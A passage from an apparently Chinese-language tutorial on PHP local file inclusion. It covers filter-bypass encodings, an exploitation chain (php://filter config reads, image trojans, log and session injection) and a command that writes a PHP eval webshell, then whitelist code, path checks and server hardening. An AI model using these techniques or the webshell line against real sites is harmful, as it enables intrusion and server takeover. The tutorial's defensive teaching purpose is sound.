利用编码与转换Base64编码如果网站对包含的文件内容进行了某种解码或检查可以尝试将恶意路径进行base64编码看是否会被自动解码。UTF-7/UTF-16编码极少数情况下配合php://filter的convert.iconv.*过滤器可能绕过基于字符的过滤。4.4 漏洞利用与权限提升确认漏洞并找到绕过方法后就要追求更高的利用目标从文件读取到代码执行。信息收集利用php://filter读取网站配置文件如config.php,database.php、phpinfo.php如果存在获取服务器绝对路径、数据库密码、其他敏感信息。寻找写入点结合其他漏洞或功能。例如文件上传哪怕只能上传图片也可尝试制作图片马配合phar://或zip://协议包含执行。日志注入如前所述向Web日志或SSH日志写入PHP代码。Session注入寻找将用户输入存入$_SESSION的功能点。框架缓存文件某些PHP框架如ThinkPHP会在特定目录下生成缓存文件如果内容部分可控也可能被包含。获取Webshell通过php://input或data://直接执行命令写入Webshell文件。通过日志包含执行命令将Webshell代码写入网站目录。例如cmdecho ?php eval($_POST[a]);? /var/www/html/shell.php。权限提升与横向移动获得Webshell后查看当前用户权限尝试利用系统本地提权漏洞如脏牛Dirty Cow、sudo配置错误等提升至root并进一步渗透内网。5. 防御策略与安全开发建议理解了攻击才能更好地防御。作为开发者应从根源上杜绝文件包含漏洞。5.1 输入验证与白名单机制最有效的方法是采用白名单机制。严格定义允许包含的文件集合。// 危险的做法黑名单或直接使用 $page $_GET[page]; include($page . .php); // 安全的做法白名单 $allowed_pages [home, news, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(error.php); // 或 die(Invalid page requested.); }如果业务上必须动态包含也应进行严格的路径校验使用basename()函数去除路径中的目录部分只保留文件名。使用realpath()函数获取文件的绝对路径并与一个允许的基准目录进行比较确保文件没有超出该目录。$base_dir /var/www/html/includes/; $file $_GET[file]; $real_path realpath($base_dir . $file); // 检查 $real_path 是否以 $base_dir 开头 if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(Access denied.); }5.2 安全配置与环境加固PHP配置在php.ini中确保allow_url_fopen Off和allow_url_include Off。这是关闭远程文件包含的最直接方法。设置open_basedir指令将PHP可操作的文件限制在网站根目录及其子目录下防止跨目录访问。关闭register_globals已废弃现代PHP默认关闭。将display_errors设置为Off防止错误信息泄露路径等敏感信息。Web服务器配置为Web服务进程如www-data, nginx设置严格的文件系统权限遵循最小权限原则。将日志文件、配置文件等敏感文件存放在Web根目录之外并限制Web进程的读取权限。代码层面尽量使用静态包含。如果必须动态包含避免使用用户输入直接作为包含路径。使用require_once或include_once可以减少因重复包含带来的意外行为但对于防御LFI本身作用有限。对用户输入进行严格的过滤和转义不仅仅是针对文件包含对所有输入都应如此。5.3 安全测试与代码审计自动化扫描在开发流程中集成SAST静态应用安全测试工具如SonarQube、Fortify等自动检测代码中的文件包含风险点。人工代码审计重点关注include,require,include_once,require_once这四个函数回溯其参数是否用户可控是否经过充分校验。渗透测试定期对线上系统进行黑盒/白盒渗透测试模拟攻击者尝试利用文件包含及其他漏洞。文件包含漏洞的攻防是一场关于“控制”的博弈。攻击者想尽办法控制包含的文件路径而防御者的核心任务就是夺回这种控制权通过白名单、路径校验和安全配置将文件包含的操作牢牢限制在预期的安全边界之内。对于渗透测试者而言掌握这些技巧不仅是发现漏洞的钥匙更是理解安全设计缺陷的一面镜子。在实际操作中耐心、细致的测试和对服务器环境的持续推断往往是成功利用一个复杂LFI漏洞的关键。